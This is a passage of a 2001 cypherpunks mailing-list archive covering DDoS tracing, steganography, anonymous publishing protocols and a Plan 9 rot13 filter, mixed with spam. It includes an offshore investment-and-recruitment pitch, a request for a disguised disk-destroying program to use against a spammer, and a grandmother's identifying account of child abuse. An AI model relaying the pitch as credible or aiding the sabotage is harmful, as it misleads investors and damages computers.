CANT BEAR FOR THEM TO HAVE TO EVER HAVE TO SEE THIS PERSON AGAIN, BUT MY
SON, THEIR FATHER DOES NOT HAVE CUSTODY. AT THE MOMENT HE HAS THEM, BUT
THEIR MOTHER WILL NOT COMPLY WITH DFS SO THEY CAN GET COUNSELING. THE DFS
HAS SENT THE MEDICAID CARDS SO THEY CAN GET THE COUNSELING, BUT SHE HAS TO
SIGN THE CONSENT, AND SHE WONT. THEY HAVE NOT BEEN TO THE DOCTORS FOR AN
EXAM, BECAUSE SHE ALSO WONT SIGN FOR THAT. THE LAWS OF THIS LAND ARE
COMPLICATED, AND IM SURE THAT SOMEWHERE THE REASON FOR THIS CONSENT FROM THE
MOTHER, IS APPROPRIATE, BUT AT THIS TIME, I AM FRUSTRATED THAT THEIR MOTHER
AND HER NEW HUSBANDS FAMILY ARE ABLE TO MANIPULATE THE LAW . WE NEED TO
PROTECT CHILDREN FROM ANYONE THAT IS NOT LOOKING OUT FOR THEIR BEST
INTEREST. THESE ARE BRIGHT BEAUTIFUL CHILDREN, AND DESERVE TO HAVE A FUTURE,
UNMOLESTED.  CATHERINE M. HALL GRANDMOTHER   BOSSLION @MSN.COM

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From adam at homeport.org  Wed Feb  7 15:55:16 2001
From: adam at homeport.org (Adam Shostack)
Date: Wed, 7 Feb 2001 18:55:16 -0500
Subject: IW: Tools Stunt DoS Attacks
In-Reply-To: <20010207142956.A22669@cypherpunks.ai>
References: <Pine.BSF.4.21.0102071710190.8438-300000@security.za.net> <3A8174CD.8FD72AC4@trustix.com> <20010207142956.A22669@cypherpunks.ai>
Message-ID: <20010207185516.A3814@weathership.homeport.org>


Folks should take a look at the work Bindview did on the Naptha family 
of dos attacks.  Basicly, they found ways to move up the application
stack, consuming CPU, without a serious comitment of resources on the
client side.  razor.bindview.com/publish/advisories/adv_NAPTHA.html

Adam

On Wed, Feb 07, 2001 at 02:29:56PM -0400, Adam Back wrote:
| 
| So this is the kind of thing I was talking about -- it just moves
| things to the next obvious escalation from which there is no
| obvious way to go further down this dead end route of trace,
| block, track down and prosecute, etc.
| 
| So what if you couldn't send a packet without revealing a
| source address.  There are numerous ways to reveal someone
| else's source address, which is a real source address, just
| not yours.
| 
| I'm not even sure it's a step forward to paint yourself
| into a corner where there is no way to fix the induced
| escalation of attack sophistication.
| 
| Adam
| 
| On Wed, Feb 07, 2001 at 05:16:13PM +0100, Lars Gaarden wrote:
| > 
| > Andrew Alston wrote:
| > 
| > > Basically, people who claim to be able to stop DDOS/trace DDOS/etc etc I
| > > believe are playing on the public, making money out of a situation that
| > > unfortunatly has no end in site, due to the fuckups made in the IP
| > > protocol by the department of defense when they released the RFC.
| > 
| > Spoofed source-addresses can be (and often are) blocked at the
| > access ISP. RFC 2267, Ingress filtering.
| > 
| > DDOS trojans on ISDN/xDSL/Cable home user boxes will have to use
| > their real (or at least same subnet) source addresses on datagrams,
| > or run the risk of having the traffic dropped silently at the first
| > router.
| > 
| > This won't stop DDOS attacks, but it will make it a lot harder to
| > mount an attack without exposing many of the DDOS trojans
| > participating.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume





From tom at ricardo.de  Wed Feb  7 10:49:26 2001
From: tom at ricardo.de (Tom Vogt)
Date: Wed, 7 Feb 2001 19:49:26 +0100
Subject: hidden update protocol
Message-ID: <20010207194925.A30607@lemuria.org>


I am in need of a protocol that allows something between freenet and
cocaine auction. bonus points for pointers to existing software:


imagine a network of nodes that store information, say a number of
websites. the information is identical on all (mirrors).
I'm looking for a way to insert information (new pages, updates...) in
such a way that it is impossible to find out where the information was
injected. i.e. one node is the "master node", but nobody except it
knows who. only the master node can insert information.

bonus problem: in case the master node fails, the protocol should allow
for a pre-determined (by the master node) other node to take over. who
the "successor" is should not be known to anyone except the master node
and maybe the successor.




From BOSSLION at email.msn.com  Wed Feb  7 17:58:48 2001
From: BOSSLION at email.msn.com (BOSSLION)
Date: Wed, 7 Feb 2001 19:58:48 -0600
Subject: No subject
Message-ID: <001c01c09172$b6198940$40a63d3f@oemcomputer>

I HAVE 2 LITTLE GRAND DAUGHTERS THAT HAVE BEEN MOLESTED BY THEIR STEP GRANDFATHER. THEY HAVE  TALKED TO BY THE SHERIFFS DEPT. AND THEY WERE CONVINCED THAT THEY HAD BEEN SUBJECT TO ORAL SEX, BUT NOT ACTUALLY PENETRATED. THE DEPUTY SAID  THE CASE WORKER WAS WALKING ON THIN ICE, AND IT PROBABLY WOULD NOT HOLD UP IN COURT BECAUSE THEY ARE ONLY FOUR AND FIVE YEARS OLD. WHEN I CALLED TO SEE IF THIS MAN HAD BEEN ARRESTED, THEY TOLD ME IT WAS NONE OF MY BUSINESS. I AM WILLING TO GO TO JAIL BEFORE LETTING THESE GIRLS GO BACK TO THIS SITUATION. MY FAMILY HAS BEEN DEVASTATED BY THIS. I CANT BEAR FOR THEM TO HAVE TO EVER HAVE TO SEE THIS PERSON AGAIN, BUT MY SON, THEIR FATHER DOES NOT HAVE CUSTODY. AT THE MOMENT HE HAS THEM, BUT THEIR MOTHER WILL NOT COMPLY WITH DFS SO THEY CAN GET COUNSELING. THE DFS HAS SENT THE MEDICAID CARDS SO THEY CAN GET THE COUNSELING, BUT SHE HAS TO SIGN THE CONSENT, AND SHE WONT. THEY HAVE NOT BEEN TO THE DOCTORS FOR AN EXAM, BECAUSE SHE ALSO WONT SIGN FOR THAT. THE LAWS OF THIS LAND ARE COMPLICATED, AND IM SURE THAT SOMEWHERE THE REASON FOR THIS CONSENT FROM THE MOTHER, IS APPROPRIATE, BUT AT THIS TIME, I AM FRUSTRATED THAT THEIR MOTHER AND HER NEW HUSBANDS FAMILY ARE ABLE TO MANIPULATE THE LAW . WE NEED TO PROTECT CHILDREN FROM ANYONE THAT IS NOT LOOKING OUT FOR THEIR BEST INTEREST. THESE ARE BRIGHT BEAUTIFUL CHILDREN, AND DESERVE TO HAVE A FUTURE, UNMOLESTED.  CATHERINE M. HALL GRANDMOTHER   BOSSLION @MSN.COM
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From adam at cypherpunks.ai  Wed Feb  7 16:18:31 2001
From: adam at cypherpunks.ai (Adam Back)
Date: Wed, 7 Feb 2001 20:18:31 -0400
Subject: stego for the censored II
In-Reply-To: <a05010400b6a72ec7d884@[207.111.241.188]>; from Tim May on Wed, Feb 07, 2001 at 09:05:03AM -0800
References: <20010207102551.L30304@lemuria.org> <a05010400b6a72ec7d884@[207.111.241.188]>
Message-ID: <20010207201831.A25210@cypherpunks.ai>


I wonder if they're using PGP stealth 2 that I contributed to
based on Henry Hastur's 1.  It's kind of interesting to see
these things used in the field.

However one suspects unless they had some hired security
consultants it may be that they just used the stego
programs such as Andy Brown's or Romano's stego program with
raw messages.  Or perhaps using PGP without PGP stealth.

Also you've got to wonder if the whole thing is some
spook public opnion manipulation attempt.  And then
there's the question of how they found out.  Did they
get a tip-off and find the person stegoing the messages
into the porn?  Or was the stego not that well done and
the result didn't provide plausible deniability, so they
could remotely confirm their informant based suspicions.
 
Adam


On Wed, Feb 07, 2001 at 09:05:03AM -0800, Tim May wrote:
> 
> At 10:25 AM +0100 2/7/01, Tom wrote:
> >damn, it seems someone already did what I proposed a while ago under
> >the thread "stego for the censored".
> >if anyone in here has contacts to these terrorists, can you ask them for
> >the software, please? maybe they want to GPL it so we can use it for other
> >purposes as well? :)
> 




From bill.stewart at pobox.com  Wed Feb  7 20:29:46 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Wed, 07 Feb 2001 20:29:46 -0800
Subject: Citing Security Sights Seen at Security Sites
In-Reply-To: <3A81D420.5E8F46F1@ssz.com>
Message-ID: <3.0.5.32.20010207202946.00a41520@idiom.com>


At 05:02 PM 2/7/01 -0600, Jim Choate wrote:
>Subject: The Register - Security Sights
>http://www.theregister.co.uk/content/8/16725.html

Unfortunately, spell-checkers usually aren't that good at
evaluating word choice :-)



				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




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Date: Wed, 07 Feb 2001 20:31:59 -0500
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Message-ID: <200102080133.RAA21835@toad.com>


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From ravage at einstein.ssz.com  Wed Feb  7 18:33:44 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 7 Feb 2001 20:33:44 -0600 (CST)
Subject: [9fans] Re: So, once I've got the OS up how do I... (fwd)
Message-ID: <Pine.LNX.3.96.1010207203301.356S-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Wed, 7 Feb 2001 21:21:31 -0500
From: Russ Cox <rsc at plan9.bell-labs.com>
Reply-To: 9fans at cse.psu.edu
To: 9fans at cse.psu.edu
Subject: Re: [9fans] Re: So, once I've got the OS up how do I...

Regarding Plan 9 <-> Unix as far as file systems,
Plan 9 has an NFS server that Unix systems may
use to mount Plan 9 file systems.  It works pretty
well.  We had someone working almost exclusively
over the NFS server two summers ago.

U9fs is a 9P server that Plan 9 systems may use to
mount Unix file systems.  It too works pretty well.
As I type this, I have two such file systems mounted
in my namespace.  I'm also booting a Plan 9 box
entirely over an ethernet with a FreeBSD machine
serving as both file and authentication server.
I'm using u9fs (rewritten for 9P2000 but pretty much
the same) for file service and a port of auth.srv for
authentication.  It works.

Neither is blazingly fast, but that's not the goal.
They work well for providing interoperability.

The amazing thing is how simple they are.

    1527    3657   27203 u9fs/u9fs.c
     326     792    6457 9auth/9authsrv.c

The rest is mostly supporting routines pulled in
from the Plan 9 C library, like doprint and convM2S.

That's a full file server in 1500 lines of code,
and an authentication server in 300.  The reason this
works is that 9P is so simple.  If you want to drive the
point home, put up the rot13fs below (inspired by a
French intro to Plan 9 that appeared a few years ago;
I'd credit further except not knowing French, I got
by reading only the examples).

The whole guts of the filter is right here:

	while(n=sizeof buf, getS(rd, buf, &f, &n) == nil){
		if(f.type == Ropen)
			isdir[f.fid] = f.qid.path&CHDIR;
		if((f.type == Twrite || f.type == Rread) && !isdir[f.fid])
			rot13(f.data, f.count);
		n = convS2M(&f, wbuf);
		write(wr, wbuf, n);
	}

and that's it.  9P is simple.  Compare this with the hoops
being jumped through to do encrypted file systems on Unix
by having fake NFS servers or kernel vnode-layer replacements
or what-have-you.

Russ


#include <u.h>
#include <libc.h>
#include <auth.h>
#include <fcall.h>
#include <ctype.h>

void
rot13(char *p, int n)
{
	char *ep;

	for(ep=p+n; p<ep; p++)
		if(isalpha(*p))
			if(tolower(*p) <= 'm')
				*p += 13;
			else
				*p -= 13;
}

int isdir[65536];
void
filter(int rd, int wr)
{
	char buf[MAXMSG+MAXFDATA], wbuf[MAXMSG+MAXFDATA];
	Fcall f;
	long n;

	while(n=sizeof buf, getS(rd, buf, &f, &n) == nil){
		if(f.type == Ropen)
			isdir[f.fid] = f.qid.path&CHDIR;
		if((f.type == Twrite || f.type == Rread) && !isdir[f.fid])
			rot13(f.data, f.count);
		n = convS2M(&f, wbuf);
		write(wr, wbuf, n);
	}
	postnote(PNGROUP, getpid(), "die");
}

void
main(int argc, char **argv)
{
	int sfd, p[2];

	rfork(RFNOTEG);

	if(argc != 1+2){
		fprint(2, "usage: rot13fs service-in mountpoint\n");
		exits("usage");
	}

	if((sfd = open(argv[1], ORDWR)) < 0)
		sysfatal("cannot open %s: %r\n", argv[1]);

	if(pipe(p) < 0)
		sysfatal("pipe fails: %r\n");

	switch(rfork(RFNAMEG|RFPROC|RFFDG|RFMEM)){
	case -1:
		sysfatal("rfork fails: %r\n");
	case 0:
		close(p[0]);
		switch(fork()){
		case -1:
			sysfatal("rfork fails: %r\n");
		case 0:
			filter(sfd, p[1]);
			break;
		default:
			filter(p[1], sfd);
			break;
		}
		_exits(0);
	default:
		close(p[1]);
		if(amount(p[0], argv[2], MREPL, "") < 0)
			sysfatal("mount fails: %r\n");
		exits(0);
	}
}




From no.user at anon.xg.nu  Wed Feb  7 19:02:37 2001
From: no.user at anon.xg.nu (No User)
Date: Wed, 7 Feb 2001 21:02:37 -0600
Subject: Program to "Help" Spammer?
Message-ID: <9064c09b4e53038d81a8e50eb0b89e6b@anon.xg.nu>


So I received email from somebody asking if I was the
"Bob" they'd talked to about Stealth programs.
Upon further conversation, it appeared that they were
looking for an add-on to enable their $99 Stealth spamware program
to use foreign systems to increase their undetectability.
It would be nice to "help" these people increase their SLACK
and make their system as undetectable and untraceable as possible,
preferably so untraceable that nobody ever sees it again.
Does anybody have pointers to an executable out on the web that
will look big enough to be believable and create lots of
SLACK on their disk drives?   


	"Bob" Dobbs




From incomeopp4uathome at netzero.com  Wed Feb  7 21:18:48 2001
From: incomeopp4uathome at netzero.com (Income Opportunity)
Date: Wed, 7 Feb 2001 21:18:48 -0800
Subject: Earn $235 - $760 Or More Weekly At Home In Your Spare Time
Message-ID: <200102080557.VAA28181@toad.com>


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This is NOT your average get-rich-quick program.
In fact, none of the companies require any special
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Start earning money in your spare time.  You set the
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subject heading for complete details.

Best Wishes
Home Workers Directory

P.S.  Opportunity available only to U.S. Residents over
the age of 18. 




From bill.stewart at pobox.com  Wed Feb  7 21:32:02 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Wed, 07 Feb 2001 21:32:02 -0800
Subject: published secret - similiar to AP prot
In-Reply-To: <20010206112409.B28982@lemuria.org>
Message-ID: <3.0.5.32.20010207213202.00a41c00@idiom.com>


At 11:24 AM 2/6/01 +0100, Tom wrote:
>so far, simple. the new twist is that I want bob to know when alice (or
>someone else) makes use of the information. at the lowest level, bob
>may want to simply know when his mirror is being used. or the
>information may be highly illegal and bob must know that he is now in
>the line of fire. or maybe he doesn't even actually provide the
>information until he gets the message that it is now required (think
>moving target).

One simple approach - have Bob use a CGI script for publishing the material,
e.g. http://bob.com/cgi-bin/backups?alice-file-123
that notifies Bob when the URL is accessed, and either returns
the desired file or another URL that points to the real file.
More complex - have Bob require a signature from Alice on the request.

Another approach - have the CGI script tell Alice the URLs 
for files that belong to her, or tell the recipient the URLS
for files that match a given keyword.

You have to think about threat models.  If Alice is under attack,
do the attackers have Alice's mailbox that would contain the URL?
Do they have Alice's private key?  Do you care?
Does Bob have a site like Cryptome where anybody can read everything?
Does Bob have a samizdat site where only people who have the
password for a file can access that file (and maybe the password
is the hash of the file)?   

If Bob doesn't want legal problems because of Alice,
it's safer if he doesn't tell Alice, or at least doesn't
do anything different for Alice than he would for any other customer.
He can also be much safer if he doesn't store the file 
in a form he can decrypt.   A few years ago, I developed a couple
of protocols for variations of this problem.
All of these methods were designed so that Bob wouldn't
have to return a key to Alice - that lets it work over remailers.

The simplest version works like this
	key      = hash(file)
	filename = hash(key, salt)		# One salt for entire site
	Store Encrypt(file, key) as "filename".
The author creates the file, calculates the key,
and sends the file to Bob, preferably over a secure channel.
Bob calculates the key, calculates the filename, 
encrypts and stores the file, then forgets the key.  
If Alice (or somebody she gave the key to) wants to retrieve it,
she gives Bob the key, Bob calculates the filename
and returns the encrypted file.  That still leaves Bob with
some risk, because if he someone gives him the key,
he can find and decrypt the file, but the only way for
somebody (or Bob) to know if he has the file is to know the key.
Note that if you try to store multiple copies of the same file,
it's detected when Bob calculates the filename,
so Bob doesn't need multiple copies of the same Metallica track,
unless different people have compressed them creating
non-identical files.

Because the key is based on the file contents, not just keywords,
the attacker needs to know the whole file contents to
verify that it's there - the attacker can't just try
searching Bob's file system for "Osama" "cocaine" "narcoterrorism".
If Alice wants to make it easy for people to find 
her writing based on keywords, she can store the index
in a different file (somewhere else on the web,
or perhaps in a different file on Bob's samizdat site.)



Some versions that are more paranoid give Bob more protection
or the author more control:
	key =      hash(file)
	handle =   hash(key)
	filename = hash(key, salt)
and the retrieval uses "handle" instead of "key",
so Bob or an eavesdropper can't decrypt the file at retrieval-time
if he didn't save the keys, which is safer for Bob,
because he can't tell if the material he's storing is ThoughtCrime.
	control =  hash(file)
	key =      hash(control)
	handle =   hash(key)
	filename = hash(key, salt)
lets Alice give people her friends the key and handle,
but gives her a token she can give Bob demonstrating that she's
authorized to do things like delete the file.
(Also, you could use the control and not the handle, or whatever.)

None of these prevent Bob from reading the file he's storing.
If Alice cares about this, she should use separate encryption.


>my solution is as follows:
>
>when bob copies the info, he sends a message to alice. the "outer
>shell" is encrypted to alice private key, to ensure that only alice can
>make use of it. it contains a URL, a public key and a second, encrypted
part. 
>the URL is under bob's control and provides the key to the second part. it is
>not linked from anywhere and reasonably complicated to make any
>"accidental" hit to it extremely unlikely.
>come day X where bob's mirror is needed. alice decrypts her mail and
>visits bob's URL to get the 2nd key. bob now knows (or at least can
>know, if he cares) that alice is in posession of the whole message
>(e.g. containing the URL of his mirror site) and can react accordingly.
>the 2nd key is also encrypted to alice, so eve can not learn about the
>whole message until and if alice decides to publish it (e.g. link to
>the new mirror site).
>the 2nd key is also signed with the key contained in the 1st message in
>order to assure alice that the information she now retrieves (possibly
>months or years later) is from the same source as the original message.
>
>
>
>problems I know about:
>
>legally, this surely puts bob and alice "in cooperation", so a legal
>injunction against alice will bind bob as well. any ideas on how to
>solve that would be great.
>it sure sounds a little heavy for a simple goal. I'm fairly sure there is 
>a more general solution to the problem. it's just so common. "bob sends 
>alice a message. bob needs to know when alice reads it."


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From adam at cypherpunks.ai  Wed Feb  7 17:58:33 2001
From: adam at cypherpunks.ai (Adam Back)
Date: Wed, 7 Feb 2001 21:58:33 -0400
Subject: IW: Tools Stunt DoS Attacks
In-Reply-To: <20010207185516.A3814@weathership.homeport.org>; from Adam Shostack on Wed, Feb 07, 2001 at 06:55:16PM -0500
References: <Pine.BSF.4.21.0102071710190.8438-300000@security.za.net> <3A8174CD.8FD72AC4@trustix.com> <20010207142956.A22669@cypherpunks.ai> <20010207185516.A3814@weathership.homeport.org>
Message-ID: <20010207215833.A25893@cypherpunks.ai>


Coincidentally, or perhaps not given my recent comments about
the dumbness of tracing and blocking as a strategy, someone 
appears to be syn flooding my cable modem right now.  Tons
of TCP connections from a bank of IP addresses slowly changing.

Adam

Adam Shostack wrote:
> Folks should take a look at the work Bindview did on the Naptha family
> if dos attacks.  Basicly, they found ways to move up the application
> stack, consuming CPU, without a serious comitment of resources on the
> client side.  razor.bindview.com/publish/advisories/adv_NAPTHA.html




From been73 at cheetahfast.org  Wed Feb  7 19:50:24 2001
From: been73 at cheetahfast.org (been73 at cheetahfast.org)
Date: Wed, 07 Feb 2001 22:50:24 -0500
Subject: I LOVE YOU AND I DON'T WANT YOU TO DIE!!!!!!.
Message-ID: <6vpg5t5x5s.tcxnpxb@mail.cheetahfast.org>

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From cormil1953 at cheetahfast.org  Wed Feb  7 20:06:55 2001
From: cormil1953 at cheetahfast.org (cormil1953 at cheetahfast.org)
Date: Wed, 07 Feb 2001 23:06:55 -0500
Subject: I LOVE YOU AND I DON'T WANT YOU TO DIE!!.
Message-ID: <n0qgsq8j2ky.hbs4uai5ce0@mail.cheetahfast.org>

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From mikee6950 at vacationlinks.net  Wed Feb  7 23:52:31 2001
From: mikee6950 at vacationlinks.net (mikee6950 at vacationlinks.net)
Date: Thu, 08 Feb 2001 02:52:31 -0500
Subject: New Internet Casino page. $10 free on signup!
Message-ID: <51iesv5nce0x08tf4.2d5kogs5an6a@mail.vacationlinks.net>

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From Anonymous-Remailer at See.Comment.Header  Wed Feb  7 20:45:17 2001
From: Anonymous-Remailer at See.Comment.Header (Esaurian)
Date: 8 Feb 2001 04:45:17 -0000
Subject: ATTN: >>>BENIGN<<<
Message-ID: <200102080441.f184fLX10162@berlin.neuropa.net>

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From future_5 at ccmerchants.com  Thu Feb  8 03:05:38 2001
From: future_5 at ccmerchants.com (future_5 at ccmerchants.com)
Date: Thu, 8 Feb 2001 05:05:38 -0600
Subject: When Opportunity Knocks ~ At Least Take a Peek  :-)   -WYVY
Message-ID: <200102081105.FAA21516@einstein.ssz.com>



The Hazelwoods Welcome You to Caruba International Partnership!
Education ~ Privacy ~ Protection ~ Profit

VISIT: http://www.trydigital.com/adventure.html

OBJECTIVE: 
The objective of Caruba International is to teach people all over the world 
how to manage their assets, build wealth and secure a strong financial 
future. Not only does Caruba teach you how, it also gives you the tools. 
Each partner can determine their own level of wealth based on their 
motivation.

LOCATION: 
We are located on the island of Aruba, which is a small island nation in the 
Caribbean, 15 miles off the northern coast of Venezuela. Aruba is an 
extremely stable country, which received its independence from Holland in 
1986. Our main bank in Aruba is one of the top 6 in the world. This is not a 
U.S. based company operating offshore, Caruba International was formed 
exclusively in Aruba.

EDUCATION: 
I just returned from Caruba's first Tradewinds Educational Summit in 
Aruba. I am no longer convinced that Disneyland is the happiest place on 
earth. So many wonderful lighthearted people make Aruba a delightful 
place to visit. While there, I toured the desert like interior and several other 
natural and historic attractions. But the main reason I went was to 
investigate the Caruba business opportunity. I spoke with the founders, Ivan 
Shew-A-Tjon, the President, is native to Aruba, educated in the U.S. and 
has traveled worldwide for the financial and investment industry. His 
expertise and global contacts make him the perfect person to oversee 
Caruba's investment portfolio. And Damon Westmoreland, Executive Vice 
President, who resides in San Diego, CA and has owned and operated 
several successful networking companies, which made him a millionaire by 
the age of 25. He’s responsible for the compensation plan, website and 
marketing the Caruba Partnership. The conference was well rounded, 
giving me the confidence I needed to invest and also recommend this 
opportunity to you. The conference included how the company was 
founded, what the objectives are and how they intend to reach those 
objectives. The partner compensation plan was explained in more detail, 
currently we have a little over 3,000 active partners. We heard from an 
estate planning tax attorney who shared some better ways to transfer 
assets during your lifetime and at death to avoid taxes. There was a very 
interesting presentation on peak performance discussing how exercise 
and nutrition helps athletes and business people reach their maximum 
potential. This special program has been created through many years of 
scientific research with top athletes and business people.

PRIVACY: 
People talk about the invasion of privacy, but I think this is really a 
misnomer, especially in the U.S. How can you have an invasion of privacy 
when you don't have any privacy to begin with. They know what you eat, 
drink, drive and buy, where you go and where you sleep. Every financial 
transaction is recorded and scrutinized by your government. Creditors, 
lenders, vendors, neighbors can all gain access to your records, so how 
can you keep anything private? By going offshore to a place called Aruba 
and becoming an anonymous partner in Caruba International. Your account 
remains private, your wealth accumulates secretly, far from the prying eyes 
of others.

PROTECTION:
If you have watched 60 Minutes often, then you know what can happen to 
you. Property sized, frivolous lawsuits, garnishments, liens against your 
property by creditors and/or your government. Many times it can be totally 
unjustified, and you're ruined just trying to defend yourself. Even though my 
family has Toll Free access to the best law firms in North America for $25 
per month (See http://www.trydigital.com/legal.html for details), until now my 
assets were all invested in the good old U.S.A. I'm not saying you can't find 
good investments in your country and many have, but it's hard to protect 
those assets in the event someone makes a claim against them. It makes 
a lot of sense to me to move some money offshore for protection and to 
take advantage of the greater global opportunities you don't have access 
to from home. Especially when a vehicle has been created for middle 
income individuals to participate in. Until now, only the very wealthy have 
been able to protect and grow their assets offshore.

PROFIT:
Here in the U.S. and many other countries there are all kinds of regulations 
that cut into your earning potential compared to some other places on 
earth. Caruba Partners have two ways to make money privately.

1) The Partnership Investment Fund - As a partner you can invest any 
amount at any time into our privately managed global investment pool. 
Earnings from this pool are added to your private partner account monthly.

2) Referring New Partners - Caruba will pay you for bringing in new 
partners. This is the Network Marketing aspect of the partnership and is 
totally optional. See http://www.trydigital.com/wealth.html for more details 
on this option.

OUR INVITATION TO YOU:
Gloria and I want to extend our personal invitation to you to become a 
Caruba Partner. We are here to help you in any way we can. As a partner 
you can have your own High-Tech Flash Website to present the Caruba 
opportunity worldwide 24 hours a day 7 days a week. This website 
provides on-line sign-up for interested parties and will automatically credit 
your on-line account for each new partner. And since the compensation 
plan rewards you for the efforts of others you refer, you can build a large 
residual income for the future.

We want to wish you the most success possible!

Howard & Gloria Hazelwood
Caruba International Partners 
Website: http://www.carubapartners.com/adventure 
Phone: (800) 810-9950 or FAX & Local (323) 721-4414
Email: howardh at trydigital.com


p.s. To be removed from future mailings, please send reply with "Remove" 
in the subject.






From hseaver at harmon.arrowhead.lib.mn.us  Thu Feb  8 04:05:36 2001
From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver)
Date: Thu, 08 Feb 2001 06:05:36 -0600
Subject: USB hardwarekeys now avaliable for PC and Mac 
Message-ID: <3A828B6B.378BB1F1@harmon.arrowhead.lib.mn.us>




http://www.perico.no/news/usbkey.htm




From ccs at ccstrade.com  Thu Feb  8 04:34:28 2001
From: ccs at ccstrade.com (Capitol Commodity Services, Inc.)
Date: Thu,  8 Feb 2001 06:34:28 -0600 (CST)
Subject: (CCS New Release) Historical Futures Charts
Message-ID: <20010208123428.C8D0E3AA0A@entropic.ccstrade.com>

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From WebForm at vmware.com  Thu Feb  8 07:08:24 2001
From: WebForm at vmware.com (WebForm at vmware.com)
Date: Thu, 8 Feb 2001 07:08:24 -0800
Subject: Response from VMware Web site
Message-ID: <200102081626.IAA15531@london.vmware.com>



Dear Joe Cypherpunk,
							
This is an automated message from the VMware Web site. Please note your password below
				
	Password: cypherpunks
							
Thank you for using the VMware Web site!
							
											





From ravage at einstein.ssz.com  Thu Feb  8 05:08:40 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 8 Feb 2001 07:08:40 -0600 (CST)
Subject: anonymity
In-Reply-To: <PHEOLKHKKADCALFJMBNIEEPGCDAA.pzakas@toucancapital.com>
Message-ID: <Pine.LNX.3.96.1010208070606.356Z-100000@einstein.ssz.com>



On Wed, 7 Feb 2001, Phillip H. Zakas wrote:

> my specific comment is simply that I don't believe that either the
> competency or the computing power necessary to watch every financial
> transaction ($16T/day), fax, e-mail, phone call, ssl connection, etc. exists
> in the areas we might think it exists.  whereas i do believe it's feasible
> to track traffic to/from servers (and other destinations/data origins).

It takes no significant portion of the computing power of the world to
execute these transactions, asking them to dump to something like FINCEN
is trivial. The amount ($16T/day) is irrelevant. The exchanges aren't done
a penny at a time...

The reality is that the US Gov. (and probably most other western powers)
has the resources to track each and every eft or computerized data
transfer for each transaction each day. They've got the computing power
left over to then analyze it for traffic analysis.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From bear at sonic.net  Thu Feb  8 09:49:09 2001
From: bear at sonic.net (Ray Dillinger)
Date: Thu, 8 Feb 2001 09:49:09 -0800 (PST)
Subject: Man Bites Phone
In-Reply-To: <3.0.5.32.20010207171456.01bd3eb0@idiom.com>
Message-ID: <Pine.LNX.4.21.0102080946390.4068-100000@bolt.sonic.net>




Odd.  I rather doubt that any of the incriminating 
information he sought to avoid discovery of was 
actually on that chip. 

Thinking about it though, given the massive headaches 
about disposing of crypto modules and key dongles 
properly once they are obsolete or broken, perhaps 
there is a market for edible ones?  

			Bear


On Wed, 7 Feb 2001, Bill Stewart wrote:

>http://www.theregister.co.uk/content/28/16718.html
>
>A man at the centre of a French corruption scandal ate the 
>chip from his mobile phone in an attempt to keep its secrets, 
>according to a report in today's edition of the Times. 
>......
>
>
>
>				Thanks! 
>					Bill
>Bill Stewart, bill.stewart at pobox.com
>PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639
>




From bill.stewart at pobox.com  Thu Feb  8 10:16:24 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Thu, 08 Feb 2001 10:16:24 -0800
Subject: About IBM's new USBKey
In-Reply-To: <Pine.LNX.3.96.1010205203900.356j-100000@einstein.ssz.com>
Message-ID: <3.0.5.32.20010208101624.00ada4f0@idiom.com>


At 08:45 PM 2/5/01 -0600, Jim Choate wrote:
>It seems to me that with 8M you could keep your kernel, your encryption
>keys, your encryption engine, along with  filesystem hashes on it. If they
>could get this up to 16M+ you could probably put a bootable image on it,
>make the system come up much quicker.

Capacity isn't much of a problem - the Linux Router Project folks
can boot off a 1.44 or 1.72MB floppy, so even 8 MB should feel roomy (not:-)
Flash memory is pretty cheap these days - I think 8MB is about $10,
so the choice of 8 vs. 16MB is just price vs. market demand.

Are there any BIOSes that let you boot the computer from USB?
I suppose it would be a logical thing to do, since USB
is a reasonable speed for supporting floppy drives or CDROMs,
but I haven't seen it on BIOS menus before.

For laptops, there are PCMCIA flash cards that emulate IDE drives,
and also have write-protect switches, which lets you boot safely
as well as quickly.  


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From jchoate at dev.tivoli.com  Thu Feb  8 08:17:49 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Thu, 08 Feb 2001 10:17:49 -0600
Subject: Parasite's sperm-encryption keeps species apart
Message-ID: <3A82C6AD.5F16A93E@dev.tivoli.com>


http://www.eurekalert.org/releases/ur-pse020601.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From evaluations at vmware.com  Thu Feb  8 10:47:14 2001
From: evaluations at vmware.com (evaluations at vmware.com)
Date: Thu, 8 Feb 2001 10:47:14 -0800
Subject: VMware Workstation for Windows 2000 & Windows NT License File
Message-ID: <1745626171.981658033630.JavaMail.root@weblogic.vmware.com>

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From ralph at centerone.com  Thu Feb  8 10:06:44 2001
From: ralph at centerone.com (Ralph Forsythe)
